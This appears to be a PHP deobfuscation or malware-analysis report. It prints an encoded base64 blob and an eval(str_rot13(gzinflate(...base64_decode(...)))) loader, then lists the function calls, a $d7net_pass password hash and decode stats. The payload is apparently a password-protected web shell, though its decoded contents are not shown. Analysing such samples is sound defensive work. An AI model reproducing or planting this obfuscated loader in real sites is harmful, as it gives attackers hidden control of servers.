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";
eval (str_rot13(gzinflate(str_rot13(base64_decode($d7net)))));

Function Calls

gzinflate 1
str_rot13 2
base64_decode 1

Variables

$d7net 7L14auLGsjD8+XGt/AeF+AT7zIwN2MwYz9jZ2NwvBgMGmyTLWCJVGLCQcZCR..
$d7net_pass ccc3cb53e60bcac604006d53b35df220fd12826f

Stats

MD5 b229ae36d5d4f892fdb3c34e18898676
Eval Count 1
Decode Time 980 ms